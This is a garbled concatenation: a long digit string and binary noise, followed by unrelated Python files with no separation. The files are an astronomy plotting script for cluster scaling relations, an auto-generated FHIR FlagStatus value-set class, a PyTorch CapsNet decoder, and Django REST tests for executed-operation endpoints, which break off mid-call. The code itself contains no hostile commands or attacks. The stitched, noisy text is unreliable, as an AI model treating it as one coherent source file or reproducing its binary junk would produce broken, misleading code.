2822203577113754372296847437100272717251132057294439251629911260710184987818836873105140631158035317079011257340436693369046685659605448182326898756337658829898764793454734210127538347711345123834038785246238485710945877126566297691074597929376420925782379261229315188188112234138065116842747954894715768460755857403824958790233894972662101118292868996938114228100410413010768365104839540231079936311677297588026048395035201813336490884569447352643630481844131888075230894281942789752673716114135986317039631430671152111069976110572598103402901251725587056754662314112264464539440107360181243024923124142888963747861336523741199917910202586314826212383246117136070731998093247412112563492756384158539411326307126627221559208367981926423771038647137000051140930284747209807245357807167663489248206125333759418866557187255091351583965656914511900686238774916779645128129226951865724881138106020926608518147603910631347110395249978067222846541302490196615214232191906349838508637557289212434097664303971602368295873937374934955905zn {�0�B1�M�dLiQtՋU�����y������$�%�({5�5�8�R�YB_�g�g�i>k��ˌ��U��-B.�>�EuFdG�G�G I�P1QdW�_[�`�;����b�����>%�1�4{A�R�`��"������0�2A7�V$[a��� j � p�Y4�;�=@L�b]dN�G�ǿ ������%���&��+΁�q��ߙM������� ��� �+�t � � � � � �0 �^ "m �t � � �� � �� W � " N8 y= 1L �i Rn o �p E� R� o� �� -  �) �+ ?, �- �0 �N �T �` �k 3� � 9� A� �� �� <� }� �� � �� @� 7� v� � 2 � z �+ 4, �, |0 Y5 �> �D M �N `` �{ � �� Ť S� �� -� ��C���� �����-�������@���n�;"hnopbzK�2���=�V�������������&�(�+5�5�6NV]�`�fM�†j���j�t�p�!��������������B������S��!6E���Ɗ(���կ��[���������������4���1�����!4)y-�25Z^ �w�0�� ��������L)5�IJ�T�ae��I'�p�Ր'�1�����.�J��������� ����������b�������n1y=?�eIq����6���4������h���X�K�`�)���+�/�/79~9D@GI!�Y�cC[�x���X�i������  �C�K�O�u ����e�b����O(C*�3�?Gni�������^���-�H� ������ $u�/ JCPXd�z}|�|h}��\�f���a�(��������{NX3�Q�^�gxP�ċЗ�^�s�'} � ̒ �K!UM!�f! g!�j!ٔ!̕!�!�!��!o�!b�!��!��!��!w�!��!� "aH":S"�Y"=_"b"{f"1m"�m"Hv"!|""�"6�"}�"D�"J�"׻"F�"��"��"a�";�"<�"^#% .%�6% B%hL%&R%�y%��%��%��%F�%��%=�%&�%:�%��%n &�Y&fd&�d&&~*'�*'�-'�.'�<'�b'"e'Vf'Y�'R�'��'��'��'}�'��'o�'�(�(I (� (q2(B4(h5(h:(-@(�I(�`(g�(��(��(��( ))g9)Y;)-T)�W)5Y)�c)%e)�h)��)��)��)��)ء)��)F�):�)��)D�)��)��)��)��)H*�_*ua*o*�v*�x*��*bin/bin_SMHMr/plot_cluster_scaling_relations.py import ClusterScalingRelations import numpy as n import matplotlib.pyplot as p import os out_dir= '/home/comparat/data/eRoMok' cl = ClusterScalingRelations.ClusterScalingRelations_Mantz2016() print cl.E035, cl.E035**2. logM500s = n.arange(13.9,15.5,0.1) p.figure(1, (5,5)) p.plot(10**(logM500s-14), (cl.logM500_to_logMgas(logM500s, 0.35)/10**13), 'b+') p.xlabel('M500/1e14') p.ylabel('Mgas/1e13') p.grid() p.savefig(os.path.join(out_dir,'M500-Mgas.png')) p.clf() p.figure(1, (5,5)) p.plot(10**(logM500s-14), cl.logM500_to_kT(logM500s, 0.35), 'b+') p.xlabel('M500/1e14') p.ylabel('kT/keV') p.grid() p.savefig(os.path.join(out_dir,'M500-kT.png')) p.clf() p.figure(1, (5,5)) p.plot(10**(logM500s-14), (cl.logM500_to_L(logM500s, 0.35)/10**44/cl.E035**2.), 'b+') p.xlabel('M500/1e14') p.ylabel('L/1e44') p.grid() p.savefig(os.path.join(out_dir,'M500-L.png')) p.clf() p.figure(1, (5,5)) p.plot(10**(logM500s-14), (cl.logM500_to_Lce(logM500s, 0.35)/10**44/cl.E035**2.), 'b+') p.xlabel('M500/1e14') p.ylabel('Lce/1e44') p.grid() p.savefig(os.path.join(out_dir,'M500-Lce.png')) p.clf() imranq2/SparkAutoMapper.FHIR from __future__ import annotations from spark_auto_mapper_fhir.fhir_types.uri import FhirUri from spark_auto_mapper_fhir.value_sets.generic_type import GenericTypeCode from spark_auto_mapper.type_definitions.defined_types import AutoMapperTextInputType # This file is auto-generated by generate_classes so do not edit manually # noinspection PyPep8Naming class FlagStatusCode(GenericTypeCode): """ FlagStatus From: http://hl7.org/fhir/flag-status in valuesets.xml Indicates whether this flag is active and needs to be displayed to a user, or whether it is no longer needed or was entered in error. """ def __init__(self, value: AutoMapperTextInputType): super().__init__(value=value) """ http://hl7.org/fhir/flag-status """ codeset: FhirUri = "http://hl7.org/fhir/flag-status" class FlagStatusCodeValues: """ A current flag that should be displayed to a user. A system may use the category to determine which user roles should view the flag. From: http://hl7.org/fhir/flag-status in valuesets.xml """ Active = FlagStatusCode("active") """ The flag no longer needs to be displayed. From: http://hl7.org/fhir/flag-status in valuesets.xml """ Inactive = FlagStatusCode("inactive") """ The flag was added in error and should no longer be displayed. From: http://hl7.org/fhir/flag-status in valuesets.xml """ EnteredInError = FlagStatusCode("entered-in-error") decoder.py """Decoder Network PyTorch implementation of CapsNet in Sabour, Hinton et al.'s paper Dynamic Routing Between Capsules. NIPS 2017. https://arxiv.org/abs/1710.09829 Author: """ import torch import torch.nn as nn import torch.nn.functional as F import utils class Decoder(nn.Module): """ Implement Decoder structure in section 4.1, Figure 2 to reconstruct a digit from the `DigitCaps` layer representation. The decoder network consists of 3 fully connected layers. For each [10, 16] output, we mask out the incorrect predictions, and send the [16,] vector to the decoder network to reconstruct a [784,] size image. This Decoder network is used in training and prediction (testing). """ def __init__(self, num_classes, output_unit_size, cuda_enabled): """ The decoder network consists of 3 fully connected layers, with 512, 1024, 784 neurons each. """ super(Decoder, self).__init__() self.cuda_enabled = cuda_enabled fc1_output_size = 512 fc2_output_size = 1024 self.fc1 = nn.Linear(num_classes * output_unit_size, fc1_output_size) # input dim 10 * 16. self.fc2 = nn.Linear(fc1_output_size, fc2_output_size) self.fc3 = nn.Linear(fc2_output_size, 784) # Activation functions self.relu = nn.ReLU(inplace=True) self.sigmoid = nn.Sigmoid() def forward(self, x, target): """ We send the outputs of the `DigitCaps` layer, which is a [batch_size, 10, 16] size tensor into the Decoder network, and reconstruct a [batch_size, 784] size tensor representing the image. Args: x: [batch_size, 10, 16] The output of the digit capsule. target: [batch_size, 10] One-hot MNIST dataset labels. Returns: reconstruction: [batch_size, 784] Tensor of reconstructed images. """ batch_size = target.size(0) """ First, do masking. """ # Method 1: mask with y. # Note: we have not implement method 2 which is masking with true label. # masked_caps shape: [batch_size, 10, 16, 1] masked_caps = utils.mask(x, self.cuda_enabled) """ Second, reconstruct the images with 3 Fully Connected layers. """ # vector_j shape: [batch_size, 160=10*16] vector_j = masked_caps.view(x.size(0), -1) # reshape the masked_caps tensor # Forward pass of the network fc1_out = self.relu(self.fc1(vector_j)) fc2_out = self.relu(self.fc2(fc1_out)) # shape: [batch_size, 1024] reconstruction = self.sigmoid(self.fc3(fc2_out)) # shape: [batch_size, 784] assert reconstruction.size() == torch.Size([batch_size, 784]) return reconstruction import uuid import unittest.mock as mock import shutil import json import os import datetime from django.urls import reverse from django.conf import settings from django.core.exceptions import ImproperlyConfigured from rest_framework import status from api.models import Operation as OperationDbModel from api.models import Workspace, \ Resource, \ WorkspaceExecutedOperation, \ ExecutedOperation from api.tests.base import BaseAPITestCase from api.tests import test_settings from api.utilities.basic_utils import copy_local_resource from api.utilities.ingest_operation import perform_operation_ingestion from api.utilities.operations import read_operation_json from api.views.operation_views import OperationRun TESTDIR = os.path.dirname(__file__) TESTDIR = os.path.join(TESTDIR, 'operation_test_files') @mock.patch('api.utilities.ingest_operation.prepare_operation') @mock.patch('api.utilities.ingest_operation.retrieve_repo_name') @mock.patch('api.utilities.ingest_operation.check_required_files') @mock.patch('api.utilities.ingest_operation.retrieve_commit_hash') @mock.patch('api.utilities.ingest_operation.clone_repository') def setup_db_elements(self, op_file, op_dirname, mock_clone_repository, \ mock_retrieve_commit_hash, \ mock_check_required_files, mock_retrieve_repo_name, mock_prepare_operation): # make a dummy git repo and copy the valid spec file there: dummy_src_path = os.path.join('/tmp', op_dirname) os.mkdir(dummy_src_path) copy_local_resource( os.path.join(TESTDIR, op_file), os.path.join(dummy_src_path, settings.OPERATION_SPEC_FILENAME) ) mock_clone_repository.return_value = dummy_src_path mock_retrieve_commit_hash.return_value = 'abcde' mock_retrieve_repo_name.return_value = 'my-repo' # create a valid operation folder and database object: op_uuid = uuid.uuid4() op = OperationDbModel.objects.create(id=str(op_uuid)) perform_operation_ingestion( 'http://github.com/some-dummy-repo/', str(op_uuid) ) return op def tear_down_db_elements(self): # this is the location where the ingestion will dump the data dest_dir = os.path.join( settings.OPERATION_LIBRARY_DIR, str(self.op.id) ) shutil.rmtree(dest_dir) try: dest_dir = os.path.join( settings.OPERATION_LIBRARY_DIR, str(self.non_workspace_op.id) ) shutil.rmtree(dest_dir) except Exception as ex: pass class ExecutedOperationListTests(BaseAPITestCase): ''' Tests where we list the ExecutedOperations within a Workspace ''' def setUp(self): self.op = setup_db_elements(self, 'valid_workspace_operation.json', 'workspace_op') # creates an Operation to use self.non_workspace_op = setup_db_elements(self, 'valid_operation.json', 'non_workspace_op') self.establish_clients() # need a user's workspace to create an ExecutedOperation user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(user_workspaces) == 0: msg = ''' Testing not setup correctly. Please ensure that there is at least one Workspace for user {user}. '''.format(user=self.regular_user_1) raise ImproperlyConfigured(msg) self.workspace = user_workspaces[0] # create a mock ExecutedOperation self.workspace_exec_op_uuid = uuid.uuid4() self.workspace_exec_op = WorkspaceExecutedOperation.objects.create( id = self.workspace_exec_op_uuid, owner = self.regular_user_1, workspace= self.workspace, operation = self.op, job_id = self.workspace_exec_op_uuid, # does not have to be the same as the pk, but is here mode = 'foo' ) self.exec_op_uuid = uuid.uuid4() self.exec_op = ExecutedOperation.objects.create( id = self.exec_op_uuid, owner = self.regular_user_1, operation = self.non_workspace_op, job_id = self.exec_op_uuid, # does not have to be the same as the pk, but is here mode = 'foo' ) def tearDown(self): tear_down_db_elements(self) def test_only_one_exec_op_reported(self): ''' In our setup, we only have one ExecutedOperation associated with a Workspace. Test that our query to the workspace-assoc. executed ops returns only a single record ''' url = reverse('workspace-executed-operation-list', kwargs={'workspace_pk': self.workspace.pk} ) all_exec_ops = ExecutedOperation.objects.filter(owner=self.regular_user_1) all_workspace_exec_ops = WorkspaceExecutedOperation.objects.filter(owner=self.regular_user_1) # check that the test is not trivial (i.e. we should be excluding an # ExecutedOperation that is NOT part of this workspace) self.assertTrue((len(all_exec_ops)-len(all_workspace_exec_ops)) > 0) response = self.authenticated_regular_client.get(url) j = response.json() self.assertTrue(len(j)==len(all_workspace_exec_ops)) def test_list_of_exec_ops(self): ''' In our setup, we only have one ExecutedOperation associated with a Workspace. Test that we get one workspace-assoc. executed op and one that is NOT associated with a workspace ''' url = reverse('executed-operation-list') all_exec_ops = ExecutedOperation.objects.filter(owner=self.regular_user_1) all_workspace_exec_ops = WorkspaceExecutedOperation.objects.filter(owner=self.regular_user_1) self.assertTrue(len(all_exec_ops)==2) self.assertTrue(len(all_workspace_exec_ops)==1) response = self.authenticated_regular_client.get(url) j = response.json() self.assertTrue(len(j)==2) op_uuids = [x['id'] for x in j] self.assertCountEqual( op_uuids, [str(self.exec_op_uuid), str(self.workspace_exec_op_uuid)] ) for x in j: if x['id'] == str(self.workspace_exec_op_uuid): self.assertEqual(x['workspace'], str(self.workspace.pk)) elif x['id'] == str(self.exec_op_uuid): self.assertFalse('workspace' in x.keys()) def test_other_user_request(self): ''' Tests that requests made by another user don't return any records (since the test was setup such that the "other user" does not have any executed operations) ''' # test for an empty list response url = reverse('executed-operation-list') reg_user_exec_ops = ExecutedOperation.objects.filter(owner=self.regular_user_1) other_user_exec_ops = ExecutedOperation.objects.filter(owner=self.regular_user_2) self.assertTrue(len(other_user_exec_ops) == 0) response = self.authenticated_other_client.get(url) j = response.json() self.assertCountEqual(j, []) # create an ExecutedOp for that other user other_user_op_uuid = uuid.uuid4() other_user_op = ExecutedOperation.objects.create( id = other_user_op_uuid, owner = self.regular_user_2, operation = self.op, job_id = other_user_op_uuid, # does not have to be the same as the pk, but is here mode = 'foo' ) other_user_exec_ops = ExecutedOperation.objects.filter(owner=self.regular_user_2) self.assertTrue(len(other_user_exec_ops) == 1) response = self.authenticated_other_client.get(url) j = response.json() s1 = set([x.pk for x in reg_user_exec_ops]) s2 = set([x.pk for x in other_user_exec_ops]) i_set = list(s1.intersection(s2)) self.assertTrue(len(i_set) == 0) self.assertTrue(len(j)==1) self.assertCountEqual(j[0]['id'], str(other_user_op_uuid)) def test_admin_request(self): all_ops = ExecutedOperation.objects.all() url = reverse('executed-operation-list') response = self.authenticated_admin_client.get(url) j = response.json() self.assertEqual(len(all_ops), len(j)) class NonWorkspaceExecutedOperationListTests(BaseAPITestCase): ''' Tests where we list the ExecutedOperations not-associated with a Workspace ''' def setUp(self): self.op = setup_db_elements(self, 'valid_workspace_operation.json', 'workspace_op') # creates an Operation to use self.non_workspace_op = setup_db_elements(self, 'valid_operation.json', 'non_workspace_op') self.establish_clients() # need a user's workspace to create an ExecutedOperation user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(user_workspaces) == 0: msg = ''' Testing not setup correctly. Please ensure that there is at least one Workspace for user {user}. '''.format(user=self.regular_user_1) raise ImproperlyConfigured(msg) self.workspace = user_workspaces[0] # create a mock ExecutedOperation self.workspace_exec_op_uuid = uuid.uuid4() self.workspace_exec_op = WorkspaceExecutedOperation.objects.create( id = self.workspace_exec_op_uuid, owner = self.regular_user_1, workspace= self.workspace, operation = self.op, job_id = self.workspace_exec_op_uuid, # does not have to be the same as the pk, but is here mode = 'foo' ) # create a mock ExecutedOperation which is NOT assoc. with a workspace self.exec_op_uuid = uuid.uuid4() self.exec_op = ExecutedOperation.objects.create( id = self.exec_op_uuid, owner = self.regular_user_1, operation = self.non_workspace_op, job_id = self.exec_op_uuid, # does not have to be the same as the pk, but is here mode = 'foo' ) def tearDown(self): tear_down_db_elements(self) def test_only_one_exec_op_reported(self): ''' In our setup, we only have one ExecutedOperation associated with a Workspace. Test that our query to the non-workspace endpoint only returns that executed op, NOt the workspace-associated one. ''' url = reverse('non-workspace-executed-operation-list') all_exec_ops = ExecutedOperation.objects.filter(owner=self.regular_user_1) all_workspace_exec_ops = WorkspaceExecutedOperation.objects.filter(owner=self.regular_user_1) # check that the test is not trivial (i.e. we should be excluding an # ExecutedOperation that is NOT part of this workspace) self.assertTrue((len(all_exec_ops)-len(all_workspace_exec_ops)) > 0) all_workspace_op_uuids = [x.id for x in all_workspace_exec_ops] non_workspace_ops = [x for x in all_exec_ops if not x.id in all_workspace_op_uuids] self.assertTrue(len(non_workspace_ops) > 0) self.assertFalse(any([x.operation.workspace_operation for x in non_workspace_ops])) response = self.authenticated_regular_client.get(url) j = response.json() self.assertTrue(len(j)==len(non_workspace_ops)) print(j) self.assertCountEqual([x['id'] for x in j], [str(x.id) for x in non_workspace_ops]) def test_other_user_request(self): ''' Tests that requests made by another user don't return any records (since the test was setup such that the "other user" does not have any executed operations) ''' # test for an empty list response url = reverse('non-workspace-executed-operation-list') reg_user_exec_ops = ExecutedOperation.objects.filter(owner=self.regular_user_1) other_user_exec_ops = ExecutedOperation.objects.filter(owner=self.regular_user_2) self.assertTrue(len(other_user_exec_ops) == 0) response = self.authenticated_other_client.get(url) j = response.json() self.assertCountEqual(j, []) class ExecutedOperationTests(BaseAPITestCase): def setUp(self): self.op = setup_db_elements(self, 'valid_workspace_operation.json', 'workspace_op') # creates an Operation to use self.non_workspace_op = setup_db_elements(self, 'valid_operation.json', 'non_workspace_op') self.establish_clients() # need a user's workspace to create an ExecutedOperation user_workspaces = Workspace.objects.filter(owner=self.regular_user_1) if len(user_workspaces) == 0: msg = ''' Testing not setup correctly. Please ensure that there is at least one Workspace for user {user}. '''.format(user=self.regular_user_1) raise ImproperlyConfigured(msg) self.workspace = user_workspaces[0] # create a mock ExecutedOperation self.workspace_exec_op_uuid = uuid.uuid4() self.workspace_exec_op = WorkspaceExecutedOperation.objects.create( id = self.workspace_exec_op_uuid, owner = self.regular_user_1, workspace= self.workspace, operation = self.op, job_id = self.workspace_exec_op_uuid, # does not have to be the same as the pk, but is here mode = 'foo' ) self.exec_op_uuid = uuid.uuid4() self.exec_op = ExecutedOperation.objects.create( id = self.exec_op_uuid, owner = self.regular_user_1, operation = self.non_workspace_op, job_id = self.exec_op_uuid, # does not have to be the same as the pk, but is here mode = 'foo' ) self.good_workspace_exec_op_url = reverse('operation-check', kwargs={'exec_op_uuid': self.workspace_exec_op_uuid} ) self.good_exec_op_url = reverse('operation-check', kwargs={'exec_op_uuid': self.exec_op_uuid} ) def tearDown(self): tear_down_db_elements(self) def test_requires_auth(self): """ Test that general requests to the endpoint generate 401 """ response = self.regular_client.get(self.good_workspace_exec_op_url) self.assertTrue((response.status_code == status.HTTP_401_UNAUTHORIZED) | (response.status_code == status.HTTP_403_FORBIDDEN)) def test_bad_identifier(self): ''' Tests when the URL gives a UUID which does not correspond to an ExecutedOperation ''' # bad uuid bad_url = reverse('operation-check', kwargs={'exec_op_uuid': uuid.uuid4()} ) response = self.authenticated_regular_client.get(bad_url) self.assertTrue(response.status_code == status.HTTP_404_NOT_FOUND) # the url above had a valid UUID. now substitute a random string that is NOT # a UUID: split_url = [x for x in bad_url.split('/') if len(x)>0] split_url[2] = 'abc' bad_url = '/'.join(split_url) response = self.authenticated_regular_client.get(bad_url) self.assertTrue(response.status_code == status.HTTP_404_NOT_FOUND) @mock.patch('api.views.operation_views.get_runner') def test_other_user_requests_valid_operation(self, mock_get_runner): ''' Test the case when there exists an ExecutedOperation for user A. User B makes a request for that, so it should be rejected as a 404 ''' # first try good ID and check that it returns something 'good' # indicating that the finalization process has started: mock_runner_class = mock.MagicMock() mock_runner = mock.MagicMock() # mocks that process is still running so it shoudl return 204 status mock_runner.check_status.return_value = False mock_runner_class.return_value = mock_runner mock_get_runner.return_value = mock_runner_class response = self.authenticated_regular_client.get(self.good_workspace_exec_op_url) self.assertTrue(response.status_code == 204) response = self.authenticated_regular_client.get(self.good_exec_op_url) self.assertTrue(response.status_code == 204) # now try making the request as another user and it should fail # with a 404 not found response = self.authenticated_other_client.get(self.good_workspace_exec_op_url) self.assertTrue(response.status_code == 404) response = self.authenticated_other_client.get(self.good_exec_op_url) self.assertTrue(response.status_code == 404) @mock.patch('api.views.operation_views.get_runner') def test_admin_user_requests_valid_operation(self, mock_get_runner): ''' Test the case when there exists an ExecutedOperation for user A. An admin can successfully request info ''' mock_runner_class = mock.MagicMock() mock_runner = mock.MagicMock() # mocks that process is still running so it shoudl return 204 status mock_runner.check_status.return_value = False mock_runner_class.return_value = mock_runner mock_get_runner.return_value = mock_runner_class response = self.authenticated_admin_client.get(self.good_workspace_exec_op_url) self.assertTrue(response.status_code == 204) @mock.patch('api.views.operation_views.get_runner') @mock.patch('api.views.operation_views.finalize_executed_op') def test_completed_job_starts_finalizing(self, mock_finalize_executed_op, mock_get_runner): ''' Tests the case where a job has completed, but nothing has happened as far as "finalization". Requests to this endpoint should start that process ''' mock_runner_class = mock.MagicMock() mock_runner = mock.MagicMock() # mocks that process is still running so it shoudl return 204 status mock_runner.check_status.return_value = True mock_runner_class.return_value = mock_runner mock_get_runner.return_value = mock_runner_class response = self.authenticated_regular_client.get(self.good_workspace_exec_op_url) mock_finalize_executed_op.delay.assert_called_with(str(self.workspace_exec_op_uuid)) self.assertTrue(response.status_code == 202) def test_request_to_finalizing_process_returns_208(self): ''' If an ExecutedOperation is still in the process of finalizing, return 208 ("already reported") to inform that things are still processing. ''' exec_op_uuid = uuid.uuid4() exec_op = WorkspaceExecutedOperation.objects.create( id = exec_op_uuid, owner = self.regular_user_1, workspace= self.workspace, operation = self.op, job_id = exec_op_uuid, # does not have to be the same as the pk, but is here mode = 'foo', is_finalizing = True ) url = reverse('operation-check', kwargs={'exec_op_uuid': exec_op_uuid} ) response = self.authenticated_regular_client.get(url) self.assertTrue(response.status_code == 208) # test the non-workspace associated ExecutedOperation exec_op_uuid = uuid.uuid4() exec_op = ExecutedOperation.objects.create( id = exec_op_uuid, owner = self.regular_user_1, operation = self.op, job_id = exec_op_uuid, # does not have to be the same as the pk, but is here mode = 'foo', is_finalizing = True ) url = reverse('operation-check', kwargs={'exec_op_uuid': exec_op_uuid} ) response = self.authenticated_regular_client.get(url) self.assertTrue(response.status_code == 208) @mock.patch('api.views.operation_views.get_runner') def test_job_still_running(self, mock_get_runner): ''' If a job is still running, simply return 204 (no content) ''' # first try good ID and check that it returns something 'good' # indicating that the finalization process has started: mock_runner_class = mock.MagicMock() mock_runner = mock.MagicMock() # mocks that process is still running so it shoudl return 204 status mock_runner.check_status.return_value = False mock_runner_class.return_value = mock_runner mock_get_runner.return_value = mock_runner_class response = self.authenticated_regular_client.get(self.good_workspace_exec_op_url) self.assertTrue(response.status_code == 204) response = self.authenticated_regular_client.get(self.good_exec_op_url) self.assertTrue(response.status_code == 204) @mock.patch('api.views.operation_views.get_runner') @mock.patch('api.views.operation_views.finalize_executed_op') def test_multiple_requests_case1(self, mock_finalize_executed_op, mock_get_runner): ''' In this test, the first request kicks off the process to finalize the ExecutedOperation. A secondary request arrives before that process is complete, and the API should respond with the 208 code to let it know that things are still processing. ''' # query the op to start to ensure the test is setup properly op = WorkspaceExecutedOperation.objects.get(id=self.workspace_exec_op_uuid) self.assertFalse(op.is_finalizing) mock_runner_class = mock.MagicMock() mock_runner = mock.MagicMock() # mocks that process has completed mock_runner.check_status.return_value = True mock_runner_class.return_value = mock_runner mock_get_runner.return_value = mock_runner_class response = self.authenticated_regular_client.get(self.good_workspace_exec_op_url) #mock_finalize_executed_op.delay.assert_called_with(str(self.workspace_exec_op_uuid)) self.assertTrue(response.status_code == 202) # query the op: op = WorkspaceExecutedOperation.objects.get(id=self.workspace_exec_op_uuid) self.assertTrue(op.is_finalizing) # make a second query. since the process is finalizing, should return 208 response = self.authenticated_regular_client.get(self.good_workspace_exec_op_url) self.assertTrue(response.status_code == 208) # check that the finalization was only called once. mock_finalize_executed_op.delay.assert_called_once_with(str(self.workspace_exec_op_uuid)) # now check for the non-workspace ExecOp mock_finalize_executed_op.reset_mock() op = ExecutedOperation.objects.get(id=self.exec_op_uuid) self.assertFalse(op.is_finalizing) response = self.authenticated_regular_client.get(self.good_exec_op_url) self.assertTrue(response.status_code == 202) # query the op: op = ExecutedOperation.objects.get(id=self.exec_op_uuid) self.assertTrue(op.is_finalizing) # make a second query. since the process is finalizing, should return 208 response = self.authenticated_regular_client.get(self.good_exec_op_url) self.assertTrue(response.status_code == 208) # check that the finalization was only called once. mock_finalize_executed_op.delay.assert_called_once_with(str(self.exec_op_uuid)) @mock.patch('api.views.operation_views.get_runner') @mock.patch('api.views.operation_views.finalize_executed_op') def test_multiple_requests_case2(self, mock_finalize_executed_op, mock_get_runner): ''' In this test, the first request kicks off the process to finalize the ExecutedOperation. A secondary request after that process is complete, and the API should respond with the outputs ''' # query the op to start to ensure the test is setup properly op = WorkspaceExecutedOperation.objects.get(id=self.workspace_exec_op_uuid) self.assertFalse(op.is_finalizing) mock_runner_class = mock.MagicMock() mock_runner = mock.MagicMock() # mocks that process is complete mock_runner.check_status.return_value = True mock_runner_class.return_value = mock_runner mock_get_runner.return_value = mock_runner_class response = self.authenticated_regular_client.get(self.good_workspace_exec_op_url) mock_finalize_executed_op.delay.assert_called_with(str(self.workspace_exec_op_uuid)) self.assertTrue(response.status_code == 202) # query the op: op = WorkspaceExecutedOperation.objects.get(id=self.workspace_exec_op_uuid) self.assertTrue(op.is_finalizing) # mock the finalization is complete by assigning the # `execution_stop_datetime` field: op.execution_stop_datetime = datetime.datetime.now() op.is_finalizing = False op.save() # make a second query. since the process is finalizing, should return 208 response = self.authenticated_regular_client.get(self.good_workspace_exec_op_url) self.assertTrue(response.status_code == 200) # check the non-workspace ExecOp: mock_finalize_executed_op.reset_mock() op = ExecutedOperation.objects.get(id=self.exec_op_uuid) self.assertFalse(op.is_finalizing) response = self.authenticated_regular_client.get(self.good_exec_op_url) mock_finalize_executed_op.delay.assert_called_with(str(self.exec_op_uuid)) self.assertTrue(response.status_code == 202) # query the op: op = ExecutedOperation.objects.get(id=self.exec_op_uuid) self.assertTrue(op.is_finalizing) # mock the finalization is complete by assigning the # `execution_stop_datetime` field: op.execution_stop_datetime = datetime.datetime.now() op.is_finalizing = False op.save() # make a second query. since the process is finalizing, should return 208 response = self.authenticated_regular_client.get(self.good_exec_op_url) self.assertTrue(response.status_code == 200) class OperationListTests(BaseAPITestCase): def setUp(self): self.op = setup_db_elements(self, 'valid_workspace_operation.json', 'workspace_op') self.url = reverse('operation-list') self.establish_clients() def tearDown(self): tear_down_db_elements(self) def test_list_operations_requires_auth(self): """ Test that general requests to the endpoint generate 401 """ response = self.regular_client.get(self.url) self.assertTrue((response.status_code == status.HTTP_401_UNAUTHORIZED) | (response.status_code == status.HTTP_403_FORBIDDEN)) def test_inactive_operations_filtered(self): ''' If (somehow) a directory containing an operation was removed, assure that we handle it well. In this ''' num_total_ops = len(OperationDbModel.objects.all()) n0 = len(OperationDbModel.objects.filter(active=True)) # create an Operation instance that is not active (default behavior) u = uuid.uuid4() o = OperationDbModel.objects.create(id=u, name='foo') response = self.authenticated_regular_client.get(self.url, format='json') self.assertEqual(response.status_code, status.HTTP_200_OK) self.assertEqual(len(response.json()), 1) n1 = len(OperationDbModel.objects.filter(active=True)) self.assertEqual(n1-n0,0) # number of active instances unchanged n2 = len(OperationDbModel.objects.all()) self.assertEqual(n2-num_total_ops,1) def test_inconsistent_db_and_dir(self): ''' If (somehow) a directory containing an operation was removed, assure that we handle it well. In this ''' # create an Operation instance that does NOT have a corresponding folder u = uuid.uuid4() o = OperationDbModel.objects.create(id=u, name='foo', active=True) response = self.authenticated_regular_client.get(self.url, format='json') self.assertEqual(response.status_code, status.HTTP_500_INTERNAL_SERVER_ERROR) class OperationDetailTests(BaseAPITestCase): def setUp(self): self.op = setup_db_elements(self, 'valid_workspace_operation.json', 'workspace_op') self.url = reverse('operation-detail', kwargs={ 'operation_uuid': str(self.op.id) }) self.establish_clients() def tearDown(self): tear_down_db_elements(self) def test_operation_detail_requires_auth(self): """ Test that general requests to the endpoint generate 401 """ response = self.regular_client.get(self.url) self.assertTrue((response.status_code == status.HTTP_401_UNAUTHORIZED) | (response.status_code == status.HTTP_403_FORBIDDEN)) def test_successful_query(self): ''' Test that the response works for a good request ''' # query the existing instance, see that response is OK: response = self.authenticated_regular_client.get(self.url, format='json') self.assertEqual(response.status_code, status.HTTP_200_OK) def test_inconsistent_db_and_dir(self): ''' If (somehow) a directory containing an operation was removed, assure that we handle it well. ''' # create an Operation instance that does NOT have a corresponding folder # Note that it starts as inactive u = uuid.uuid4() o = OperationDbModel.objects.create(id=u, name='foo') # query this 'new' instance which has a database inconsistency: url = reverse('operation-detail', kwargs={ 'operation_uuid': str(u) }) response = self.authenticated_regular_client.get(url, format='json') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) # change the instance to be active. Now if the folder is missing, then it's # a real error (500) o.active=True o.save() response = self.authenticated_regular_client.get(url, format='json') self.assertEqual(response.status_code, status.HTTP_500_INTERNAL_SERVER_ERROR) def test_unknown_operation_returns_404(self): unknown_uuid = uuid.uuid4() url = reverse('operation-detail', kwargs={ 'operation_uuid': str(unknown_uuid) }) response = self.authenticated_regular_client.get(url, format='json') self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) class OperationAddTests(BaseAPITestCase): def setUp(self): self.url = reverse('operation-create') self.establish_clients() @mock.patch('api.views.operation_views.async_ingest_new_operation') def test_admin_only(self, mock_ingest): ''' Test that only admins can access the Operation create endpoint. ''' payload={'repository_url':'https://github.com/foo/'} response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) mock_ingest.delay.assert_not_called() @mock.patch('api.views.operation_views.async_ingest_new_operation') def test_ingest_method_called(self, mock_ingest): ''' Test that a proper request will call the ingestion function. ''' payload={'repository_url':'https://github.com/foo/'} response = self.authenticated_admin_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_200_OK) mock_ingest.delay.assert_called() @mock.patch('api.views.operation_views.async_ingest_new_operation') def test_invalid_domain(self, mock_ingest): ''' Payload is valid, but the repository domain was not among the acceptable domains ''' payload={'repository_url':'https://bitbucket.com/foo/'} response = self.authenticated_admin_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) mock_ingest.delay.assert_not_called() @mock.patch('api.views.operation_views.async_ingest_new_operation') def test_bad_payload(self, mock_ingest): ''' The payload has the wrong key. ''' payload={'url':'https://github.com/foo/'} response = self.authenticated_admin_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) mock_ingest.delay.assert_not_called() class OperationRunTests(BaseAPITestCase): def setUp(self): self.op = setup_db_elements(self, 'valid_workspace_operation.json', 'workspace_op') self.url = reverse('operation-run') self.establish_clients() def test_missing_keys_returns_400_error(self): ''' We require certain keys in the payload. If any are missing, check that we return 400 ''' payload = {OperationRun.OP_UUID: 'abc'} response = self.authenticated_regular_client.post(self.url, data=payload, format='json') self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) s = response.json() expected_response = { OperationRun.INPUTS: OperationRun.REQUIRED_MESSAGE } self.assertDictEqual(s, expected_response) def test_bad_uuid_returns_400_error(self): ''' The UUID for the operation or workspace is not a real UUID. ''' payload = { OperationRun.OP_UUID: 'abc', OperationRun.INPUTS: [], OperationRun.WORKSPACE_UUID: 'abc' } response = self.authenticated_regular_client.post(self.url, 